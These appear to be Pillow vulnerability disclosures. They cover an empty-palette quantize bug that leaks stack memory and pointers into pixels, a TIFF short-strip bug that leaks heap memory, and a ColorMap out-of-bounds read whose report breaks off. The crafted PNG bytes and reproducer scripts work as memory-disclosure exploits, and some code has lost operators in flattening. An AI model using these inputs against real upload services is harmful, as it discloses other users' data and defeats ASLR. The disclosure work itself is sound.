ImagingPaletteCacheUpdate() (src/libImaging/Palette.c:154) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local UINT8 c[512] and then copies c[] into the cache. c[] is only ever written inside for (i = 0; i < palette->size; i++). When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and topalette() (src/libImaging/Convert.c:1145) emits them as the output pixels of Image.quantize(palette=...). The root cause is that topalette() only rejects a NULL palette, never one with palette->size == 0, while ImagingPaletteCacheUpdate() silently assumes size >= 1. A zero-entry "P" image is what Image.open() produces for a PNG whose PLTE chunk has length 0 (or a colour-mapped TGA with colour-map length 0); Image.new("P", size) without a subsequent putpalette() yields one as well. Both dither modes (Dither.NONE and the default Floyd-Steinberg) are affected for RGB sources (an L source takes the grayscale copy path and never consults the cache).
Showing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length PLTE and an all-zero IDAT:
89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c 00000000 504c5445 4ba88955 0000000b 49444154 789c6360c0040000140001 7dfe1eee 00000000 49454e44 ae426082
python pal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == "P", pal.im.getpalette("RGB") == b"" src = Image.new("RGB", (512, 1)) src.putdata([(r4, g4, b4) for r in range(8) for g in range(8) for b in range(8)]) out = src.quantize(palette=pal, dither=Image.Dither.NONE) out.tobytes() # 512 bytes, different in every process
The 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for r,g,b ∈ [0,32), in slot order, so out.tobytes() is exactly c[0..511]. Read as 64 little-endian 8-byte words and resolved against the same process's /proc/self/maps, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in [stack], several in [heap], libc.so.6, libpython3.12.so and imaging.cpython-312-x8664-linux-gnu.so — and 3 words equal to the thread's stack-protector canary (read from fs:0x28 for comparison). The same PNG with a 3-byte PLTE (one entry) gives 512 zero bytes in every run. out.save(buf, "PNG") succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a strip --strip-debug copy of imaging.so or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate. With Dither.NONE topalette only copies the bytes, so the first use of uninitialised value is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside topalette (inlined into ImagingConvert), where the cached index is used to address palette->palette.
Code path
File → empty C palette. PngImagePlugin.chunkPLTE (src/PIL/PngImagePlugin.py:499-505) stores the chunk payload whatever its length, open wraps it as ImagePalette.raw("RGB", b"") (:836-838), and Image.load() realises it with self.im.putpalette("RGB", "RGB", b"") (src/PIL/Image.py:989-990). putpalette (src/imaging.c:1850-1868) rejects only more than 256 entries and sets palette->size = palettesize 8 / bits, i.e. 0. TgaImagePlugin.open (src/PIL/TgaImagePlugin.py:121-135) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.
API → sink. Image.quantize(palette=pal) (src/PIL/Image.py:1329-1338) checks only palette.mode == "P" and calls self.im.convert("P", dither, palette.im) → ImagingConvert → topalette(..., inpalette=<that palette>, dither). topalette tests the palette for NULL (Convert.c:1162, :1178) but not for size == 0, allocates the cache (every slot 0x100 = "not computed"), and for each source pixel:
c // src/libImaging/Convert.c:1319-1327 (non-dither path; the dither path at 1252-1265 is the same) cache = &ImagingPaletteCache(palette, r, g, b); if (cache[0] == 0x100) { ImagingPaletteCacheUpdate(palette, r, g, b); } … out[x] = (UINT8)cache[0];
Inside ImagingPaletteCacheUpdate the only store to c[] is in step 2, and both step 1 and step 2 iterate over palette entries:
c // src/libImaging/Palette.c:160-161 unsigned int d[BOXVOLUME]; UINT8 c[BOXVOLUME]; … // src/libImaging/Palette.c:212-221, 240-242 for (i = 0; i < BOXVOLUME; i++) { d[i] = (unsigned int)~0; / d[] is initialised, c[] is not / } for (i = 0; i < palette->size; i++) { / size == 0: body never runs / if (dmin[i] <= dmax) { … if ((unsigned int)bd < d[j]) { d[j] = bd; c[j] = (UINT8)i; }
For any non-empty palette every slot is written: the entry that produced dmax passes dmin[i] <= dmax, and because d[j] starts at ~0 the first visiting entry always stores into c[j]. With size == 0 the loop is skipped entirely and step 3 publishes the raw stack array:
c // src/libImaging/Palette.c:262-266 j = 0; for (r = r0; r < r1; r += 4) { for (g = g0; g < g1; g += 4) { for (b = b0; b < b1; b += 4) { ImagingPaletteCache(palette, r, g, b) = c[j++];
cache[0] is then ≤ 255 and palette->palette is a fixed 1024-byte array, so the subsequent palette->palette[cache[0] 4] reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive ImagingPaletteCacheUpdate invocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.
The behaviour was introduced in 54cb09d8b48c ("When converting to P, restrict colors to palette size", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The Image.new("P", ...) route additionally depends on fd310512b95a ("Set C palette to be empty by default", first in 10.1.0); before that a fresh "P" image carried a 256-entry grey ramp.
Impact
An application that lets a user supply the reference palette image for Image.quantize(palette=...) — palette-swap / "apply this palette" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and imaging.so, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the palette image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.
Reproducing
repro is a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s.
1. pngwithplte() builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a given PLTE payload. With an empty payload it produces exactly the 80-byte file shown above. 2. quantizeagainst() does what an "apply this palette" feature does: it opens the PNG with Image.open() and calls quantize(palette=pal, dither=Image.Dither.NONE) on a 512×1 RGB strip. The strip holds the colours (r4, g4, b4) for r, g, b in 0..7, one for each slot of the colour-cache box r, g, b ∈ [0,32) and in slot order. That makes output pixel j exactly c[j] of ImagingPaletteCacheUpdate(). 3. Control: a one-entry PLTE. The only valid index is 0, and every output pixel is 0. 4. Attack: the same PNG with a zero-length PLTE. quantize() returns an image without complaint, and its pixels contain about 80 distinct values. 5. Check: the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the [stack] range in the script's own /proc/self/maps. It prints each word that points into the stack. A typical run finds 8, e.g. pixels 0..7 = 0x00007ffd959c3fa0 <- pointer into [stack]. Pixel data can only hold stack addresses if it was copied from the stack.
The script prints BUG if the control is all zeros and at least two output words are stack addresses. It prints OK if quantize() rejects the empty palette with ValueError, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints attack (empty PLTE): rejected: empty palette / OK. With only the Palette.c half of the patch, the output is 512 zero bytes and it prints OK.
Suggested fix
The attached patch rejects an empty palette in topalette() before any work is done, with ValueError("empty palette") in the same idiom as the neighbouring "no palette" / "conversion not supported" checks, so Image.quantize() raises a normal ValueError. It also zero-fills c[] alongside d[] in ImagingPaletteCacheUpdate() so no present or future caller can copy stack contents into the cache, and adds a regression test testemptypalette to Tests/testimagequantize.py. quantize(palette=) is the only path that hands a caller-supplied palette to topalette(); the NULL-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare Image.new("P", ...)) now raises instead of returning garbage indices. The C changes:
diff --- a/src/libImaging/Convert.c +++ b/src/libImaging/Convert.c @@ -1159,6 +1159,10 @@ topalette( alpha = mode == IMAGINGMODEPA; + if (palette != NULL && palette->size <= 0) { + return (Imaging)ImagingErrorValueError("empty palette"); + } + if (palette == NULL) { / FIXME: make user configurable / if (imIn->bands == 1) { --- a/src/libImaging/Palette.c +++ b/src/libImaging/Palette.c @@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) { for (i = 0; i < BOXVOLUME; i++) { d[i] = (unsigned int)~0; + c[i] = 0; } for (i = 0; i < palette->size; i++) {
Applied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with ValueError: empty palette and the script prints OK; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in src/PIL. Optionally PngImagePlugin.chunkPLTE could additionally raise SyntaxError for a PLTE whose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, and Image.quantize() could raise a clearer Python-level error when palette.palette is empty.
The patch
Raise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()
Applies to src/libImaging/Convert.c at the commit above.
diff diff --git a/Tests/testimagequantize.py b/Tests/testimagequantize.py index 887628560..dcd1d901e 100644 --- a/Tests/testimagequantize.py +++ b/Tests/testimagequantize.py @@ -179,3 +179,13 @@ def testsmallpalette() -> None: quantizedcolors = im.getcolors() assert quantizedcolors is not None assert len(quantizedcolors) == 2 + + +def testemptypalette() -> None: + im = hopper() + + p = Image.new("P", (1, 1)) + p.putpalette(b"") + + with pytest.raises(ValueError): + im.quantize(palette=p) diff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c index 4a35a9a1f..7746d9255 100644 --- a/src/libImaging/Convert.c +++ b/src/libImaging/Convert.c @@ -1159,6 +1159,10 @@ topalette( alpha = mode == IMAGINGMODEPA; + if (palette != NULL && palette->size <= 0) { + return (Imaging)ImagingErrorValueError("empty palette"); + } + if (palette == NULL) { / FIXME: make user configurable / if (imIn->bands == 1) { diff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c index b2dacf656..ceb69d3dc 100644 --- a/src/libImaging/Palette.c +++ b/src/libImaging/Palette.c @@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) { for (i = 0; i < BOXVOLUME; i++) { d[i] = (unsigned int)~0; + c[i] = 0; } for (i = 0; i < palette->size; i++) {
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 2,975 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 Pillow: Image.quantize(palette=<P image with an empty palette>) returns uninitialised C stack bytes as pixel values. ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local UINT8 c[512] inside for (i = 0; i < palette->size; i++). A PNG with a zero-length PLTE chunk gives palette->size == 0, so c[] is never written and its raw stack contents are copied into the colour cache, which topalette() (src/libImaging/Convert.c) then emits as the output pixels. import io import struct import zlib
from PIL import Image
def pngwithplte(plte): """A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds plte.""" def chunk(tag, data): return (struct.pack(">I", len(data)) + tag + data + struct.pack(">I", zlib.crc32(tag + data))) ihdr = struct.pack(">IIBBBBB", 4, 4, 8, 3, 0, 0, 0) pixels = zlib.compress(b"\x00" 4 5) return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"PLTE", plte) + chunk(b"IDAT", pixels) + chunk(b"IEND", b""))
def quantizeagainst(palettepng): """What an "apply this palette" feature does with an uploaded palette image.""" pal = Image.open(io.BytesIO(palettepng)) # 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot # order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate(). src = Image.new("RGB", (512, 1)) src.putdata([(r 4, g 4, b 4) for r in range(8) for g in range(8) for b in range(8)]) return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()
def stackrange(): for line in open("/proc/self/maps"): if line.rstrip().endswith("[stack]"): lo, hi = line.split()[0].split("-") return int(lo, 16), int(hi, 16)
Control: a one-entry palette -- every pixel must map to index 0. control = quantizeagainst(pngwithplte(b"\x10\x20\x30")) print(f"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}")
Attack: the same PNG with an empty PLTE chunk (80 bytes). try: leaked = quantizeagainst(pngwithplte(b"")) except ValueError as e: print(f"attack (empty PLTE): rejected: {e}") print("OK") raise SystemExit
print(f"attack (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:") print(f" {leaked[:64].hex()}")
Read the 512 pixel bytes as 64 little-endian words; any word that is an address inside this process's own stack can only have come from the stack. lo, hi = stackrange() print(f"this process's [stack] mapping: {lo:#x}-{hi:#x}") stackptrs = 0 for i in range(0, 512, 8): word = int.frombytes(leaked[i:i + 8], "little") if lo <= word < hi: stackptrs += 1 print(f" pixels {i:3d}..{i + 7:3d} = {word:#018x} <- pointer into [stack]")
print(f"{stackptrs} of 64 words of the output image are stack addresses") print("BUG" if set(control) == {0} and stackptrs >= 2 else "OK") </details>
---
============================================================================ TiffDecode returns uninitialized memory as pixels for short JPEG strips Location: src/libImaging/TiffDecode.c:554 in decodeStrip() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content.
The bug is in decodeStrip() in src/libImaging/TiffDecode.c, and decodeTile() has the same shape. The function realloc()s state->buffer to TIFFStripSize() bytes without initialising it and calls TIFFReadEncodedStrip(). Whenever that call does not return -1, it copies all RowsPerStrip rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early.
The attached reproducer builds a 256×256 TIFF whose single strip or tile is a 256×8 JPEG. Before loading it, the script frees buffers filled with b"LEAK". It then finds 15,872 copies of LEAK in rows 8–255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's MALLOCPERTURB, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases.
This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width × RowsPerStrip bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0).
Details
src/libImaging/TiffDecode.c decodes compressed TIFFs through libtiff into a strip (or tile) buffer that it realloc()s to TIFFStripSize() bytes and never initialises, and then copies all RowsPerStrip rows of that buffer into the image whenever TIFFReadEncodedStrip() does not return -1. libtiff's JPEG codec does not fail when the JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist and returns the full strip size. The rows it did not write are whatever the heap held before, and Pillow returns them as pixels.
A 478-byte file shows it: a classic little-endian TIFF, 256×256, BitsPerSample=8, Compression=7, PhotometricInterpretation=1, RowsPerStrip=256, one strip whose data is a baseline JPEG of 256×8 pixels (as written by Image.new("L",(256,8),200).save(…,"JPEG")). Image.open(BytesIO(data)).load() succeeds with default settings (compressed TIFFs always take the libtiff path). Rows 0–7 of the result are the JPEG content (value 200); the remaining 63488 bytes of im.tobytes() are heap garbage: run under glibc's MALLOCPERTURB=1 they are all 0xFE, under MALLOCPERTURB=170 all 0x55 (the fresh-malloc fill byte), and in a process that has just freed buffers containing b"LEAK" they contain 15872 copies of LEAK.
Feeding the same file to libtiff 4.5.0 directly confirms the library side: TIFFReadEncodedStrip(t, 0, buf, 65536) prints JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8., returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs TIFFSetWarningHandler(NULL) (TiffDecode.c:682), so the warning is not visible either.
The strip path:
c // src/libImaging/TiffDecode.c:552 / realloc to fit whole strip / / malloc check above / newdata = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize() … state->buffer = newdata;
for (; state->y < state->ysize; state->y += rowsperstrip) { … if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), (tdatat)state->buffer, stripsize ) == -1) { … return -1; } … // iterate over each row in the strip and stuff data into image for (striprow = 0; striprow < MIN((INT32)rowsperstrip, state->ysize - state->y); striprow++) { … shuffler( (UINT8 )im->image[state->y + state->yoff + striprow] + state->xoff im->pixelsize, state->buffer + striprow rowbytesize, state->xsize );
state->buffer arrives here as the one-row calloc made by decode.c:230 ((bitsxsize+7)/8 = 256 bytes for the example). The realloc to 65536 bytes hands back a different, uninitialised chunk; nothing zeroes it. TIFFReadEncodedStrip() returns the nominal strip size on success, not the number of rows produced, and the only check is == -1, so the row loop unconditionally copies 256 rows × 256 bytes into im->image (which itself is zeroed by core.new, so the garbage provably comes from state->buffer). decodeTile() has the same shape (TiffDecode.c:448 realloc to TIFFTileSize(), then tilelength rows copied after each TIFFReadTile() at 460–488).
For a well-formed file the JPEG inside the strip is 256×256, libtiff fills all 65536 bytes and the copy is correct. The malicious file differs only in the SOF height of the embedded JPEG; libtiff treats "JPEG smaller than strip" as a warning, clamps the row count to the JPEG height, and reports success.
JPEG is not the only libtiff codec that succeeds on a short strip. Fax4Decode (Compression=4) returns success for a T.6 stream that ends early: a 133-byte 512×256 1-bit TIFF whose strip is the Group 4 stream of a 512×16 image loads without error, libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer (Fax4Decode: Warning, Premature EOL at line 16, return value 16384) and the other 15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were checked and do return -1 on short data, so Pillow raises OSError for those.
The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", 2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row TIFFReadScanline() (where libtiff errors on the first missing row) with the whole-strip realloc() and copy. The tile path has had the same shape since it was added in f0436a4ddc95 (2018-07-02, Pillow 5.3.0).
Impact
Any application that opens attacker-supplied images with Pillow in the default configuration and returns something derived from the pixels (thumbnail, preview, format conversion, OCR text) discloses freed heap memory of the worker process to the uploader: everything below the rows the embedded JPEG/G4 stream actually encodes, up to ImageWidth × RowsPerStrip × SamplesPerPixel bytes per strip and tens of MB per image within the default MAXIMAGEPIXELS. load() raises nothing, so the application has no signal that the image is malformed. What comes back depends on allocator state; in a long-running web worker it is typically recently freed request bodies, other users' decoded image buffers and Python object contents. There is no memory corruption; this is a read of uninitialised (previously used) heap memory, analogous in effect to an out-of-bounds read that lands in pixels.
Reproducing
repro is a short Python script that runs against the installed Pillow build with default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally and once re-executing itself under glibc's MALLOCPERTURB=170, and the last line it prints is BUG or OK.
Input. tiff(jpegrows, tiled) builds a little-endian TIFF in memory. The header declares a 256×256 8-bit greyscale image with Compression=7 (JPEG), either as one strip (RowsPerStrip=256) or as one 256×256 tile (TileWidth/TileLength). The strip or tile is a baseline JPEG of 256×jpegrows pixels, all value 200, written by Pillow's own JPEG encoder. For each layout the script builds two files:
- Control: jpegrows=256. This is a well-formed file, and libtiff fills the whole 64 KiB strip/tile. - Crafted: jpegrows=8, 478 bytes (strip) or 490 bytes (tile). The only difference is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns Improper JPEG strip/tile size (Pillow silences the warning) and returns the full strip/tile size as success.
Steps. Each file is opened (the script asserts it takes the libtiff decoder). Just before im.load() the script allocates and frees six 64 KiB bytearrays filled with b"LEAK", which leaves freed heap chunks about the size of the buffer that decodeStrip()/decodeTile() is about to realloc(). For rows 8–255 it then counts copies of LEAK and bytes equal to 0x55 (glibc's fresh-malloc fill under MALLOCPERTURB=170). The files contain no LEAK bytes (the script asserts this), so any copy in the image came from freed heap memory. It reports BUG if a crafted file shows any LEAK in the normal pass, or rows 8–255 entirely 0x55 in the perturbed pass.
Expected output on this tree:
[normal ] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [normal ] strip crafted ( 478 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [normal ] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [normal ] tiled crafted ( 490 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [perturb] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [perturb] strip crafted ( 478 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' [perturb] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [perturb] tiled crafted ( 490 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' BUG
im.load() succeeds for every file. For the crafted files rows 8–255 are the uninitialised strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8–255 of the crafted files come back as \x00 bytes, with no LEAK and no 0x55, and the script ends with OK.
The LEAK count depends on where glibc places the buffer (the same freed chunk was reused in 500 of 500 runs here); the MALLOCPERTURB pass does not. The script covers the JPEG codec only. The Group 4 variant in the Details section (Compression=4, a T.6 stream that ends early) goes through the same decodeStrip() copy, and the same fix covers it.
Suggested fix
The attached patch zeroes state->buffer before each libtiff read in both loops of src/libImaging/TiffDecode.c — before TIFFReadTile() in decodeTile() and before TIFFReadEncodedStrip() in decodeStrip() — so rows a codec does not produce are deterministic zeros rather than stale heap:
diff --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ decodeTile for (x = state->xoff; x < state->xsize; x += tilewidth) { + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdatat)state->buffer, x, y, 0, plane) == -1) { @@ decodeStrip for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip(
A memset per strip/tile (rather than one calloc after the size is known) is needed because the same buffer is reused for every strip, and a short last strip would otherwise expose the previous strip's rows — harmless for disclosure, but the per-read memset keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting libtiff warnings to errors via a warning handler is not a good alternative: both codecs only warn (Improper JPEG strip/tile size, Premature EOL), but so do many legitimate files (unknown tags, bad tag counts), and the return value of TIFFReadEncodedStrip() carries no row count to check against. Initialising the buffer covers every codec. decodeAsRGBA() needs no change: TIFFRGBAImageGet() fills its whole raster, and JPEG files do not reach it (JPEGCOLORMODERGB sends them down the strip path).
Valid files decode exactly as before; rows a codec does not produce are now black instead of garbage, and nothing that previously loaded now fails. The patch also adds testjpegshortstrip to Tests/testfilelibtiff.py, parametrised over strip and tile, which builds the 256×8-JPEG-in-256×256 file and asserts rows 8–255 are zero. It is a regression guard for the fixed code rather than a reliable detector of the bug: in a fresh pytest process the unfixed strip variant can pass because the new heap chunk happens to be zero (the tiled variant fails before the fix). With the patch, Tests/testfilelibtiff.py and Tests/testfiletiff.py pass and the reproducer prints OK.
The patch
Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap
Applies to src/libImaging/TiffDecode.c at the commit above.
diff diff --git a/Tests/testfilelibtiff.py b/Tests/testfilelibtiff.py index 3d804ea4a..67bc96329 100644 --- a/Tests/testfilelibtiff.py +++ b/Tests/testfilelibtiff.py @@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase): im.load() assert im.size == (950, 975) + @pytest.mark.parametrize("tiled", (False, True)) + def testjpegshortstrip(self, tiled: bool) -> None: + # The JPEG data in the strip/tile only contains 8 of the 256 rows that + # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist + # and still reports success, so the remaining rows must be cleared + # rather than left as uninitialised memory. + jpeg = io.BytesIO() + Image.new("L", (256, 8), 200).save(jpeg, "JPEG") + jpegdata = jpeg.getvalue() + + ifd = TiffImagePlugin.ImageFileDirectoryv2() + ifd[256] = 256 # ImageWidth + ifd[257] = 256 # ImageLength + ifd[258] = 8 # BitsPerSample + ifd[259] = 7 # Compression: JPEG + ifd[262] = 1 # PhotometricInterpretation: BlackIsZero + ifd[277] = 1 # SamplesPerPixel + if tiled: + ifd[322] = 256 # TileWidth + ifd[323] = 256 # TileLength + ifd[324] = 0 # TileOffsets + ifd[325] = len(jpegdata) # TileByteCounts + # Point the tile data at the end of the IFD + ifd[324] = 8 + len(ifd.tobytes(8)) + else: + ifd[278] = 256 # RowsPerStrip + ifd[STRIPOFFSETS] = 0 # Updated by tobytes() to follow the IFD + ifd[279] = len(jpegdata) # StripByteCounts + + b = io.BytesIO() + ifd.save(b) + b.write(jpegdata) + + with Image.open(b) as im: + assert im.tile[0][0] == "libtiff" + im.load() + assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200) + assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0) + def testorientation(self) -> None: with Image.open("Tests/images/g4orientation1.tif") as baseim: for i in range(2, 9): diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..d1d6bfbbb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -457,6 +457,11 @@ decodeTile( for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tilewidth) { + // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes + // to fewer rows than the tile length, leaving the rest of the + // buffer untouched. Clear it so that uninitialised memory is not + // copied into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdatat)state->buffer, x, y, 0, plane) == -1) { TRACE(("Decode Error, Tile at %dx%d\n", x, y)); state->errcode = IMAGINGCODECBROKEN; @@ -563,6 +568,11 @@ decodeStrip( int plane; for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes + // to fewer rows than RowsPerStrip, leaving the rest of the buffer + // untouched. Clear it so that uninitialised memory is not copied + // into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane),
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 2,688 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 Pillow TiffDecode.c decodeStrip/decodeTile: strip/tile buffer is realloc()ed, never initialised, and copied whole into the image even when libtiff's JPEG codec decoded fewer rows than RowsPerStrip/TileLength. Two independent signals: pass 1 (normal heap): seed freed 64 KiB chunks with b"LEAK" just before load() and count copies of LEAK in the decoded pixels (file contains no such bytes); pass 2 (same script re-run under glibc MALLOCPERTURB=170): fresh malloc memory is 0x55, so rows that come back all-0x55 are provably uninitialised heap. import gc, io, os, struct, subprocess, sys from PIL import Image W = H = 256; ROWS = 8 perturbed = os.environ.get("MALLOCPERTURB") == "170" if not perturbed: print("Pillow", Image.version, Image.core.file)
def tiff(jpegrows, tiled): j = io.BytesIO(); Image.new("L", (W, jpegrows), 200).save(j, "JPEG"); j = j.getvalue() tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)] tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))]) tags.sort(); off = 8 + 2 + 12len(tags) + 4 tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags] ifd = struct.pack("<H", len(tags)) + b"".join(struct.pack("<HHLL", t) for t in tags) return b"II\0" + struct.pack("<L", 8) + ifd + struct.pack("<L", 0) + j
bug = False for tiled in (False, True): for jpegrows, label in ((H, "well-formed"), (ROWS, "crafted")): data = tiff(jpegrows, tiled); assert b"LEAK" not in data im = Image.open(io.BytesIO(data)); assert im.tile[0][0] == "libtiff" junk = [bytearray(b"LEAK" (WH//4)) for in range(6)]; del junk; gc.collect() im.load() # no exception for either file below = im.tobytes()[WROWS:] n55, nleak = below.count(0x55), below.count(b"LEAK") print(f"[{'perturb' if perturbed else 'normal '}] {'tiled' if tiled else 'strip'} " f"{label:11s} ({len(data):4d} B) rows {ROWS}-{H-1}: {nleak:5d} x b'LEAK', " f"{n55:5d}/{len(below)} == 0x55, head={below[:8]!r}") if jpegrows == ROWS and (nleak > 0 or (perturbed and n55 == len(below))): bug = True if not perturbed: r = subprocess.run([sys.executable, sys.argv[0]], env={os.environ, "MALLOCPERTURB": "170"}, captureoutput=True, text=True) lines = r.stdout.rstrip().split("\n") print("\n".join(lines[:-1])); sys.stderr.write(r.stderr) bug = bug or lines[-1] == "BUG" print("BUG" if bug else "OK") </details>
---
Summary
A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with 768 SHORT values: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.
Pillow's TIFF encoder allocates 768 × 2 = 1536 bytes, then passes three plane pointers separated by 256 SHORT entries to libtiff. With BitsPerSample = 16, libtiff instead expects 65536 SHORT values per plane and attempts a 131072-byte read from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in PyImagingLibTiffEncoderNew.
The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.
Impact and prerequisites
